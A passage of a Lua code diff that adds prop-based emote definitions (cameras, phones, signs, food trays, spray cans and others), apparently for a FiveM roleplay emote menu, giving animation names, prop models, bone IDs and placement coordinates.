["camera3"] = { + "cellphone@female", + "cellphone_text_read_base_cover_low", + "Camera 3", + AnimationOptions = { + Prop = "prop_ing_camera_01", + PropBone = 28422, + PropPlacement = { + 0.0100, + -0.0300, + 0.0520, + -172.0487, + -163.9389, + -29.0221 + }, + EmoteLoop = false, + EmoteMoving = true, + PtfxAsset = "scr_bike_business", + PtfxName = "scr_bike_cfid_camera_flash", + PtfxPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["camera4"] = { + "chocoholic@single110a", + "single110a_clip", + "Camera 4", + AnimationOptions = { + Prop = "prop_ing_camera_01", + PropBone = 28422, + PropPlacement = { + 0.0710, + 0.0150, + -0.0420, + -68.3220, + 99.6144, + 2.9027 + }, + EmoteLoop = false, + EmoteMoving = true, + PtfxAsset = "scr_bike_business", + PtfxName = "scr_bike_cfid_camera_flash", + PtfxPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["camera5"] = { + "chocoholic@single110b", + "single110b_clip", + "Camera 5", + AnimationOptions = { + Prop = "prop_ing_camera_01", + PropBone = 60309, + PropPlacement = { + 0.0980, + 0.0560, + 0.1330, + -15.8221, + 107.0825, + -16.0159 + }, + EmoteLoop = false, + EmoteMoving = true, + PtfxAsset = "scr_bike_business", + PtfxName = "scr_bike_cfid_camera_flash", + PtfxPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["camera6"] = { + "move_weapon@jerrycan@generic", + "idle", + "Camera 6 - Carry News Camera", + AnimationOptions = { + Prop = "prop_v_cam_01", + PropBone = 28422, + PropPlacement = { + 0.2100, + 0.0300, + -0.0100, + 90.0000, + 176.0000, + 79.9999 + }, + EmoteLoop = false, + EmoteMoving = true, + } + }, + ["champagnespray"] = { + "anim@mp_player_intupperspray_champagne", + "idle_a", + "Champagne Spray", + AnimationOptions = { + Prop = 'ba_prop_battle_champ_open', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteMoving = true, + EmoteLoop = true, + PtfxAsset = "scr_ba_club", + PtfxName = "scr_ba_club_champagne_spray", + PtfxPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + PtfxInfo = Translate('spraychamp'), + PtfxWait = 500, + PtfxCanHold = true + } + }, + ["joint"] = { + "amb@world_human_smoking@male@male_a@enter", + "enter", + "Joint", + AnimationOptions = { + Prop = 'p_cs_joint_01', + PropBone = 47419, + PropPlacement = { + 0.015, + -0.009, + 0.003, + 55.0, + 0.0, + 110.0 + }, + EmoteMoving = true, + EmoteDuration = 2600, + PtfxAsset = "scr_mp_cig", + PtfxName = "ent_anim_cig_smoke", + PtfxNoProp = false, + PtfxPlacement = { + -0.097, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 1.3 + }, + PtfxInfo = Translate('smoke'), + PtfxWait = 0.8, + PtfxCanHold = true + } + }, + ["cig"] = { + "amb@world_human_smoking@male@male_a@enter", + "enter", + "Cig", + AnimationOptions = { + Prop = 'ng_proc_cigarette01a', + PropBone = 47419, + PropPlacement = { + 0.015, + -0.009, + 0.003, + 55.0, + 0.0, + 110.0 + }, + EmoteDuration = 2600, + EmoteLoop = true, + EmoteMoving = true, + PtfxAsset = "scr_mp_cig", + PtfxName = "ent_anim_cig_smoke", + PtfxNoProp = false, + PtfxPlacement = { + -0.07, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('smoke'), + PtfxWait = 0.8, + PtfxCanHold = true + } + }, + ["brief"] = { + "move_weapon@jerrycan@generic", + "idle", + "Briefcase", + AnimationOptions = { + Prop = "prop_ld_case_01", + PropBone = 57005, + PropPlacement = { + 0.12, + 0.0, + 0.0, + 0.0, + 255.0, + 80.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["brief2"] = { -- Added for compatibility + "missheistdocksprep1hold_cellphone", + "static", + "Briefcase 2", + AnimationOptions = + { + Prop = "prop_ld_case_01", + PropBone = 57005, + PropPlacement = { + 0.10, + 0.0, + 0.0, + 0.0, + 280.0, + 53.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["guncase"] = { + "move_weapon@jerrycan@generic", + "idle", + "Guncase", + AnimationOptions = + { + Prop = "prop_gun_case_01", + PropBone = 57005, + PropPlacement = { + 0.10, + 0.02, + -0.02, + 40.0, + 145.0, + 115.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["tablet"] = { + "amb@world_human_tourist_map@male@base", + "base", + "Tablet", + AnimationOptions = { + Prop = "prop_cs_tablet", + PropBone = 28422, + PropPlacement = { + 0.0, + -0.03, + 0.0, + 20.0, + -90.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["tablet2"] = { + "amb@code_human_in_bus_passenger_idles@female@tablet@idle_a", + "idle_a", + "Tablet 2", + AnimationOptions = { + Prop = "prop_cs_tablet", + PropBone = 28422, + PropPlacement = { + -0.05, + 0.0, + 0.0, + 0.0, + -90.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["phonecall"] = { + "cellphone@", + "cellphone_call_listen_base", + "Phone Call", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7}, + }, + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["phonecall2"] = { + "random@kidnap_girl", + "ig_1_girl_on_phone_loop", + "Phone Call 2", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7}, + }, + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["wt"] = { + "cellphone@", + "cellphone_text_read_base", + "Walkie Talkie", + AnimationOptions = { + Prop = "prop_cs_hand_radio", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["wt2"] = { + "anim@radio_pose_3", + "radio_holding_gun", + "Walkie Talkie 2", + AnimationOptions = { + Prop = "prop_cs_hand_radio", + PropBone = 60309, + PropPlacement = { + 0.0750, + 0.0470, + 0.0110, + -97.9442, + 3.7058, + -23.2367 + }, + EmoteLoop = true, + + } + }, + ["wt3"] = { + "anim@radio_left", + "radio_left_clip", + "Walkie Talkie 3 Left", + AnimationOptions = { + Prop = "prop_cs_hand_radio", + PropBone = 60309, + PropPlacement = { + 0.0750, + 0.0470, + 0.0110, + -97.9442, + 3.7058, + -23.2367 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["wt4"] = { + "anim@male@holding_radio", + "holding_radio_clip", + "Walkie Talkie 4", + AnimationOptions = { + Prop = "prop_cs_hand_radio", + PropBone = 28422, + PropPlacement = { + 0.0750, + 0.0230, + -0.0230, + -90.0000, + 0.0, + -59.9999 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["clean"] = { + "timetable@floyd@clean_kitchen@base", + "base", + "Clean", + AnimationOptions = { + Prop = "prop_sponge_01", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + -0.01, + 90.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["clean2"] = { + "amb@world_human_maid_clean@", + "base", + "Clean 2", + AnimationOptions = { + Prop = "prop_sponge_01", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + -0.01, + 90.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["protest"] = { + "rcmnigel1d", + "base_club_shoulder", + "Protest", + AnimationOptions = { + Prop = "prop_cs_protest_sign_01", + PropBone = 57005, + PropPlacement = { + 0.1820, + 0.2400, + 0.0600, + -69.3774235, + 5.9142048, + -13.9572354 + }, + -- + EmoteLoop = true, + EmoteMoving = true + } + }, + ["protest2"] = { + "rcmnigel1d", + "base_club_shoulder", + "Protest 2 - Pride", + AnimationOptions = { + Prop = "pride_sign_01", + PropBone = 57005, + PropPlacement = { + 0.1820, + 0.2400, + 0.0600, + -69.3774235, + 5.9142048, + -13.9572354 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["protest3"] = { + "rcmnigel1d", + "base_club_shoulder", + "Protest 3 - BLM", + AnimationOptions = { + Prop = "scully_blm", + PropBone = 57005, + PropPlacement = { + 0.1820, + 0.2400, + 0.0600, + -69.3774235, + 5.914205, + -13.957235 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["binoculars"] = { + "amb@world_human_binoculars@male@idle_b", + "idle_f", + "Binoculars", + AnimationOptions = { + Prop = "prop_binoc_01", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["binoculars2"] = { + "amb@world_human_binoculars@male@idle_a", + "idle_c", + "Binoculars 2", + AnimationOptions = { + Prop = "prop_binoc_01", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["tennisplay"] = { + "move_weapon@jerrycan@generic", + "idle", + "Tennis Play", + AnimationOptions = { + Prop = "prop_tennis_bag_01", + PropBone = 57005, + PropPlacement = { + 0.27, + 0.0, + 0.0, + 91.0, + 0.0, + -82.9999951 + }, + SecondProp = 'prop_tennis_rack_01', + SecondPropBone = 60309, + SecondPropPlacement = { + 0.0800, + 0.0300, + 0.0, + -130.2907295, + 3.8782324, + 6.588224 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["weights"] = { + "amb@world_human_muscle_free_weights@male@barbell@base", + "base", + "Weights", + AnimationOptions = { + Prop = "prop_curl_bar_01", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["weights2"] = { + "amb@world_human_muscle_free_weights@male@barbell@idle_a", + "idle_d", + "Weights 2", + AnimationOptions = { + Prop = "prop_curl_bar_01", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["weights3"] = { -- Custom Emote By Amnilka + "frabi@malepose@solo@firstsport", + "pose_sport_004", + "Weights 3 - Pose", + AnimationOptions = { + Prop = 'prop_barbell_01', + PropBone = 28422, + PropPlacement = { + 0.0660, + 0.0100, + -0.0300, + 90.0000, + 90.0000, + -79.9999 + }, + EmoteLoop = true, + } + }, + ["weights4"] = { -- Custom Emote By Amnilka + "frabi@malepose@solo@firstsport", + "pose_sport_003", + "Weights 4 - Pose", + AnimationOptions = { + Prop = 'prop_barbell_01', -- Left Wrist + PropBone = 60309, + PropPlacement = { + 0.0520, + -0.0010, + 0.0131, + 21.5428, + 70.2098, + 74.5019 + }, + SecondProp = 'prop_barbell_01', -- Right Wrist + SecondPropBone = 28422, + SecondPropPlacement = { + 0.0660, + 0.0100, + -0.0300, + 90.0000, + 90.0000, + -79.9999 + }, + EmoteLoop = true, + } + }, + ["weights5"] = { -- Custom Female Emote By Frabi + "frabi@femalepose@solo@firstsport", + "fem_pose_sport_001", + "Weights 5 - Female Pose", + AnimationOptions = { + Prop = 'v_res_tre_weight', + PropBone = 28422, -- Right Wrist + PropPlacement = { + 0.0580, + -0.0060, + 0.0300, + -11.8498, + 170.2644, + 7.8352 + }, + SecondProp = 'v_res_tre_weight', + SecondPropBone = 60309, -- Left Wrist + SecondPropPlacement = { + 0.0880, + 0.0000, + 0.0590, + -29.1132, + -128.5627, + 13.7517 + }, + EmoteLoop = true, + } + }, + ["weights6"] = { -- Custom Female Emote By Frabi + "frabi@femalepose@solo@firstsport", + "fem_pose_sport_002", + "Weights 6 - Female Pose 2", + AnimationOptions = { + Prop = 'v_res_tre_weight', + PropBone = 28422, -- Right Wrist + PropPlacement = { + 0.0700, + 0.0400, + -0.0600, + 24.5966, + 6.4814, + -13.9845 + }, + SecondProp = 'v_res_tre_weight', + SecondPropBone = 60309, -- Left Wrist + SecondPropPlacement = { + 0.0550, + -0.0070, + -0.0309, + -20.5854, + -15.0123, + 0.5710 + }, + EmoteLoop = true, + EmoteMoving = false, + } + }, + ["weights7"] = { -- Custom Female Emote By Frabi + "frabi@femalepose@solo@firstsport", + "fem_pose_sport_003", + "Weights 7 - Female Pose 3", + AnimationOptions = { + Prop = 'prop_freeweight_01', + PropBone = 28422, -- Right Wrist + PropPlacement = { + 0.0500, + 0.0100, + -0.0200, + 88.6283, + -51.8805, + 54.3903 + }, + EmoteLoop = true, + EmoteMoving = false, + } + }, + ["fuel"] = { + "weapons@misc@jerrycan@", + "fire", + "Fuel", + AnimationOptions = { + Prop = "w_am_jerrycan", + PropBone = 57005, + PropPlacement = { + 0.1800, + 0.1300, + -0.2400, + -165.8693883, + -11.2122753, + -32.9453021 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["fuel2"] = { + "weapons@misc@jerrycan@franklin", + "idle", + "Fuel 2 (Carry)", + AnimationOptions = { + Prop = "w_am_jerrycan", + PropBone = 28422, + PropPlacement = { + 0.26, + 0.050, + 0.0300, + 80.00, + 180.000, + 79.99 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["hitchhike"] = { + "random@hitch_lift", + "idle_f", + "Hitchhike", + AnimationOptions = { + Prop = "w_am_jerrycan", + PropBone = 18905, + PropPlacement = { + 0.32, + -0.0100, + 0.0, + -162.423, + 74.83, + 58.79 + }, + SecondProp = 'prop_michael_backpack', + SecondPropBone = 40269, + SecondPropPlacement = { + -0.07, + -0.21, + -0.11, + -144.93, + 117.358, + -6.16 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["ssign"] = { + "rcmnigel1d", + "base_club_shoulder", + "Steal Stop Sign", + AnimationOptions = { + Prop = "prop_sign_road_01a", + PropBone = 60309, + PropPlacement = { + -0.1390, + -0.9870, + 0.4300, + -67.3315314, + 145.0627869, + -4.4318885 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["ssign2"] = { + "rcmnigel1d", + "base_club_shoulder", + "Steal Yield Sign", + AnimationOptions = { + Prop = "prop_sign_road_02a", + PropBone = 60309, + PropPlacement = { + -0.1390, + -0.9870, + 0.4300, + -67.3315314, + 145.0627869, + -4.4318885 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["ssign3"] = { + "rcmnigel1d", + "base_club_shoulder", + "Steal Hospital Sign", + AnimationOptions = { + Prop = "prop_sign_road_03d", + PropBone = 60309, + PropPlacement = { + -0.1390, + -0.9870, + 0.4300, + -67.3315314, + 145.0627869, + -4.4318885 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["ssign4"] = { + "rcmnigel1d", + "base_club_shoulder", + "Steal Parking Sign", + AnimationOptions = { + Prop = "prop_sign_road_04a", + PropBone = 60309, + PropPlacement = { + -0.1390, + -0.9870, + 0.4300, + -67.3315314, + 145.0627869, + -4.4318885 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["ssign5"] = { + "rcmnigel1d", + "base_club_shoulder", + "Steal Parking Sign 2", + AnimationOptions = { + Prop = "prop_sign_road_04w", + PropBone = 60309, + PropPlacement = { + -0.1390, + -0.9870, + 0.4300, + -67.3315314, + 145.0627869, + -4.4318885 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["ssign6"] = { + "rcmnigel1d", + "base_club_shoulder", + "Steal Pedestrian Sign", + AnimationOptions = { + Prop = "prop_sign_road_05a", + PropBone = 60309, + PropPlacement = { + -0.1390, + -0.9870, + 0.4300, + -67.3315314, + 145.0627869, + -4.4318885 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["ssign7"] = { + "rcmnigel1d", + "base_club_shoulder", + "Steal Street Sign", + AnimationOptions = { + Prop = "prop_sign_road_05t", + PropBone = 60309, + PropPlacement = { + -0.1390, + -0.9870, + 0.4300, + -67.3315314, + 145.0627869, + -4.4318885 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["ssign8"] = { + "rcmnigel1d", + "base_club_shoulder", + "Steal Freeway Sign", + AnimationOptions = { + Prop = "prop_sign_freewayentrance", + PropBone = 60309, + PropPlacement = { + -0.1390, + -0.9870, + 0.4300, + -67.3315314, + 145.0627869, + -4.4318885 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["ssign9"] = { + "rcmnigel1d", + "base_club_shoulder", + "Steal Stop Sign Snow", + AnimationOptions = { + Prop = "prop_snow_sign_road_01a", + PropBone = 60309, + PropPlacement = { + -0.1390, + -0.9870, + 0.4300, + -67.3315314, + 145.0627869, + -4.4318885 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["conehead"] = { + "move_m@drunk@verydrunk_idles@", + "fidget_07", + "Cone Head", + AnimationOptions = { + Prop = "prop_roadcone02b", + PropBone = 31086, + PropPlacement = { + 0.0500, + 0.0200, + -0.000, + 30.0000004, + 90.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["foodtraya"] = { + "anim@heists@box_carry@", + "idle", + "Food Tray", + AnimationOptions = { + Prop = "prop_food_bs_tray_03", + PropBone = 28422, + PropPlacement = { + 0.0100, + -0.0400, + -0.1390, + 20.0000007, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["foodtrayb"] = { + "anim@heists@box_carry@", + "idle", + "Food Tray B", + AnimationOptions = { + Prop = "prop_food_bs_tray_02", + PropBone = 28422, + PropPlacement = { + 0.0100, + -0.0400, + -0.1390, + 20.0000007, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["foodtrayc"] = { + "anim@heists@box_carry@", + "idle", + "Food Tray C", + AnimationOptions = { + Prop = "prop_food_cb_tray_02", + PropBone = 28422, + PropPlacement = { + 0.0100, + -0.0400, + -0.1390, + 20.0000007, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["foodtrayd"] = { + "anim@heists@box_carry@", + "idle", + "Food Tray D", + AnimationOptions = { + Prop = "prop_food_tray_02", + PropBone = 28422, + PropPlacement = { + 0.0100, + -0.0400, + -0.1390, + 20.0000007, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["foodtraye"] = { + "anim@heists@box_carry@", + "idle", + "Food Tray E", + AnimationOptions = { + Prop = "prop_food_tray_03", + PropBone = 28422, + PropPlacement = { + 0.0100, + -0.0400, + -0.1390, + 20.0000007, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["foodtrayf"] = { + "anim@heists@box_carry@", + "idle", + "Food Tray F", + AnimationOptions = { + Prop = "prop_food_bs_tray_02", + PropBone = 57005, + PropPlacement = { + 0.2500, + 0.1000, + 0.0700, + -110.5483936, + 73.3529273, + -16.338362 + }, + SecondProp = 'prop_food_bs_tray_03', + SecondPropBone = 18905, + SecondPropPlacement = { + 0.2200, + 0.1300, + -0.1000, + -127.7725487, + 110.2074758, + -3.5886263 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["foodtrayg"] = { + "anim@heists@box_carry@", + "idle", + "Food Tray G", + AnimationOptions = { + Prop = "prop_food_cb_tray_02", + PropBone = 57005, + PropPlacement = { + 0.2500, + 0.1000, + 0.0700, + -110.5483936, + 73.3529273, + -16.338362 + }, + SecondProp = 'prop_food_cb_tray_02', + SecondPropBone = 18905, + SecondPropPlacement = { + 0.2200, + 0.1300, + -0.1000, + -127.7725487, + 110.2074758, + -3.5886263 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["foodtrayh"] = { + "anim@heists@box_carry@", + "idle", + "Food Tray H", + AnimationOptions = { + Prop = "prop_food_tray_02", + PropBone = 57005, + PropPlacement = { + 0.2500, + 0.1000, + 0.0700, + -110.5483936, + 73.3529273, + -16.338362 + }, + SecondProp = 'prop_food_tray_03', + SecondPropBone = 18905, + SecondPropPlacement = { + 0.2200, + 0.1300, + -0.1000, + -127.7725487, + 110.2074758, + -3.5886263 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["foodtrayi"] = { + "anim@heists@box_carry@", + "idle", + "Food Tray I", + AnimationOptions = { + Prop = "prop_food_tray_02", + PropBone = 57005, + PropPlacement = { + 0.2500, + 0.1000, + 0.0700, + -110.5483936, + 73.3529273, + -16.338362 + }, + SecondProp = 'prop_food_tray_02', + SecondPropBone = 18905, + SecondPropPlacement = { + 0.2200, + 0.1300, + -0.1000, + -127.7725487, + 110.2074758, + -3.5886263 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["foodtrayj"] = { + "anim@move_f@waitress", + "idle", + "Food Tray J", + AnimationOptions = { + Prop = "prop_food_bs_tray_02", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0200, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["foodtrayk"] = { + "anim@move_f@waitress", + "idle", + "Food Tray K", + AnimationOptions = { + Prop = "prop_food_bs_tray_02", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0200, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["foodtrayl"] = { + "anim@move_f@waitress", + "idle", + "Food Tray L", + AnimationOptions = { + Prop = "prop_food_bs_tray_03", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0200, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["foodtraym"] = { + "anim@move_f@waitress", + "idle", + "Food Tray M", + AnimationOptions = { + Prop = "prop_food_cb_tray_02", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0200, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["foodtrayn"] = { + "anim@move_f@waitress", + "idle", + "Food Tray N", + AnimationOptions = { + Prop = "prop_food_tray_02", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0200, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["foodtrayo"] = { + "anim@move_f@waitress", + "idle", + "Food Tray O", + AnimationOptions = { + Prop = "prop_food_tray_02", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0200, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["mnc"] = { + "anim@heists@box_carry@", + "idle", + "Milk & Cookies", + AnimationOptions = { + Prop = "m23_2_prop_m32_milkncookies_01a", + PropBone = 57005, --- Right Wrist + PropPlacement = { + 0.2150, + 0.1140, + 0.0240, + -81.9185, + -176.2526, + -28.4674 + }, + SecondProp = 'm23_2_prop_m32_milkncookies_01a', + SecondPropBone = 18905, -- Left Wrist + SecondPropPlacement = { + 0.2700, + 0.1100, + 0.0350, + -90.0000, + -180.0000, + 30.0000 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["carrypizza"] = { + "anim@heists@box_carry@", + "idle", + "Carry Pizza Box", + AnimationOptions = { + Prop = "prop_pizza_box_02", + PropBone = 28422, + PropPlacement = { + 0.0100, + -0.1000, + -0.1590, + 20.0000007, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["carryfoodbag"] = { + "move_weapon@jerrycan@generic", + "idle", + "Carry Food Bag", + AnimationOptions = { + Prop = "prop_food_bs_bag_01", + PropBone = 57005, + PropPlacement = { + 0.3300, + 0.0, + -0.0300, + 0.0017365, + -79.9999997, + 110.0651988 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["carryfoodbag2"] = { + "move_weapon@jerrycan@generic", + "idle", + "Carry Food Bag 2", + AnimationOptions = { + Prop = "prop_food_cb_bag_01", + PropBone = 57005, + PropPlacement = { + 0.3800, + 0.0, + -0.0300, + 0.0017365, + -79.9999997, + 110.0651988 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["carryfoodbag3"] = { + "move_weapon@jerrycan@generic", + "idle", + "Carry Food Bag 3", + AnimationOptions = { + Prop = "prop_food_bag1", + PropBone = 57005, + PropPlacement = { + 0.3800, + 0.0, + -0.0300, + 0.0017365, + -79.9999997, + 110.0651988 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["tag"] = { + "anim@scripted@freemode@postertag@graffiti_spray@male@", + "shake_can_male", + "Tagging Shake Can Male", + AnimationOptions = { + Prop = "prop_cs_spray_can", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0700, + 0.0017365, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["tag2"] = { + "anim@scripted@freemode@postertag@graffiti_spray@heeled@", + "shake_can_female", + "Tagging Shake Can Female", + AnimationOptions = { + Prop = "prop_cs_spray_can", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0700, + 0.0017365, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["tag3"] = { + "anim@scripted@freemode@postertag@graffiti_spray@male@", + "spray_can_var_01_male", + "Tagging Male 1", + AnimationOptions = { + Prop = "prop_cs_spray_can", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0700, + 0.0017365, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["tag4"] = { + "anim@scripted@freemode@postertag@graffiti_spray@male@", + "spray_can_var_02_male", + "Tagging Male 2", + AnimationOptions = { + Prop = "prop_cs_spray_can", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0700, + 0.0017365, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["tag5"] = { + "anim@scripted@freemode@postertag@graffiti_spray@heeled@", + "spray_can_var_01_female", + "Tagging Female 1", + AnimationOptions = { + Prop = "prop_cs_spray_can", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0700, + 0.0017365, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["tag6"] = { + "anim@scripted@freemode@postertag@graffiti_spray@heeled@", + "spray_can_var_02_female", + "Tagging Female 2", + AnimationOptions = { + Prop = "prop_cs_spray_can", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0700, + 0.0017365, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["beans"] = { + "anim@scripted@island@special_peds@pavel@hs4_pavel_ig5_caviar_p1", + "base_idle", + "Beans", + AnimationOptions = { + Prop = "h4_prop_h4_caviar_tin_01a", + PropBone = 60309, + PropPlacement = { + 0.0, + 0.0300, + 0.0100, + 0.0, + 0.0, + 0.0 + }, + SecondProp = 'h4_prop_h4_caviar_spoon_01a', + SecondPropBone = 28422, + SecondPropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["pho"] = { + "anim@scripted@island@special_peds@pavel@hs4_pavel_ig5_caviar_p1", + "base_idle", + "Pho", + AnimationOptions = { + Prop = "scully_pho", + PropBone = 60309, + PropPlacement = { + 0.0, + 0.0300, + 0.0100, + 0.0, + 0.0, + 0.0 + }, + SecondProp = 'scully_spoon_pho', + SecondPropBone = 28422, + SecondPropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["dinner"] = { + "anim@scripted@island@special_peds@pavel@hs4_pavel_ig5_caviar_p1", + "base_idle", + "Dinner", + AnimationOptions = { + Prop = "prop_cs_plate_01", + PropBone = 60309, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + SecondProp = 'h4_prop_h4_caviar_spoon_01a', + SecondPropBone = 28422, + SecondPropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["newscam"] = { + "missfinale_c2mcs_1", + "fin_c2_mcs_1_camman", + "News Camera", + AnimationOptions = { + Prop = "prop_v_cam_01", + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0300, + 0.0100, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["newsmic"] = { + "anim@heists@humane_labs@finale@keycards", + "ped_a_enter_loop", + "News Microphone", + AnimationOptions = { + Prop = "p_ing_microphonel_01", + PropBone = 4154, + PropPlacement = { + -0.00, + -0.0200, + 0.1100, + 0.00, + 0.0, + 60.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["newsbmic"] = { + "missfra1", + "mcs2_crew_idle_m_boom", + "News Boom Microphone", + AnimationOptions = { + Prop = "prop_v_bmike_01", + 